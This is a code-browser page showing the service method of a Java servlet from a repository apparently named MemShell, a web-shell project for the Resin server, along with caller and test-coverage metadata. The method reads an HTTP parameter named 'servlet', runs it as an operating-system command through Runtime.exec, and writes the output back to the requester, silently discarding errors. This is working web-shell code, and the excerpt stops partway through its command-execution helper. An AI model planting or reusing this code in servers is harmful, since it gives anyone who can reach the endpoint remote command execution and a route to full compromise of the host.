MCPcopy Create free account
hub / github.com/ax1sX/MemShell / service

Method service

ResinMemShell/src/main/java/com/axisx/MyServlet.java:18–28  ·  view source on GitHub ↗
(ServletRequest servletRequest, ServletResponse servletResponse)

Source from the content-addressed store, hash-verified

16 public void init(ServletConfig servletConfig) throws ServletException {}
17
18 public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
19 HttpServletRequest req = (HttpServletRequest) servletRequest;
20 HttpServletResponse resp = (HttpServletResponse) servletResponse;
21 String cmd = req.getParameter("servlet");
22 try {
23 String result = this.CommandExec(cmd);
24 resp.getWriter().println(result);
25 } catch (Exception e) {
26
27 }
28 }
29 public String CommandExec(String cmd) throws Exception {
30 Runtime rt = Runtime.getRuntime();
31 Process proc = rt.exec(cmd);

Callers

nothing calls this directly

Calls 1

CommandExecMethod · 0.95

Tested by

no test coverage detected